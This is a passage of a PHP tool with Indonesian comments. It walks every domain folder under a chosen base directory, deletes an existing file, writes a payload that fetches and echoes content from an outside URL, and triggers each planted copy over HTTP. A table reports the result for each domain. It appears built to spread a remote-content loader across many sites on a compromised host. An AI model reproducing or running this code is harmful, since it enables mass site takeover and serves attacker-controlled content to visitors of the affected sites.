1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_USERAGENT => 'Mozilla/5.0', CURLOPT_TIMEOUT => 10 ]); $d = curl_exec($c); curl_close($c); if ($d) return $d; } $ctx = stream_context_create([ 'http' => ['header' => "User-Agent: Mozilla/5.0\r\n", 'timeout' => 10] ]); if ($d = @file_get_contents($url, false, $ctx)) return $d; return "⚠️ Gagal mengambil konten dari $url"; } echo fetch($url); ?> PHP; $result = []; $baseDir = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $baseDir = rtrim($_POST['basedir'] ?? '', '/'); if (!empty($baseDir) && is_dir($baseDir)) { $dirs = glob($baseDir . '/*', GLOB_ONLYDIR); foreach ($dirs as $dir) { $domain = basename($dir); $targetFile = $dir . '/' . $targetName; $status = [ 'domain' => $domain, 'deleted' => false, 'created' => false, 'trigger' => 'fail' ]; // Hapus file lama if (file_exists($targetFile)) { @unlink($targetFile); $status['deleted'] = true; } // Tulis file baru if (file_put_contents($targetFile, $payload) !== false) { $status['created'] = true; } // Auto-trigger $urlTrigger = "http://$domain/$targetName"; $resp = @file_get_contents($urlTrigger); if ($resp !== false) { $status['trigger'] = 'success'; } $result[] = $status; } } else { $result = "⚠️ BaseDir tidak valid atau kosong."; } } ?>
Domain | File Lama | File Baru | Trigger |
---|---|---|---|
= htmlspecialchars($row['domain']) ?> | = $row['deleted'] ? '✔' : '✘' ?> | = $row['created'] ? '✔' : '✘' ?> | = $row['trigger'] === 'success' ? '✔' : '⚠️' ?> |
= $result ?>